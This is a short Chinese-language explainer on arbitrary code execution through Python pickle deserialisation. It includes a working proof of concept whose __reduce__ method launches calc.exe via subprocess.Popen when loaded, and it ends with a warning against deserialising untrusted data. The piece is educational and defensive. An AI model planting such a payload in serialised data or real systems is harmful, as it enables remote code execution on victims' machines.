Python中Pickle的代码执行
在python中,有时候会遇到序列化和反序列化的问题,这时候用到了Pickle/CPickle
这个库,他的作用就是对给定的内容进行序列化以及反序列化。
但是在反序列化的时候,同样会出现类似于PHP中的wakeup
魔术方法,在返序列化的时候会被自动执行。那就是类里面的__reduce__
方法。
代码如下:
import cPickle
import subprocess
class A(object):
def __reduce__(self):
return (subprocess.Popen, (('calc.exe',),))
x = cPickle.dumps(A())
cPickle.loads(x)
所以在开发过程中,千万不要将外部传输过来不可信的字符串,未经验证的就进行反序列化,这样往往会导致很严重的安全问题。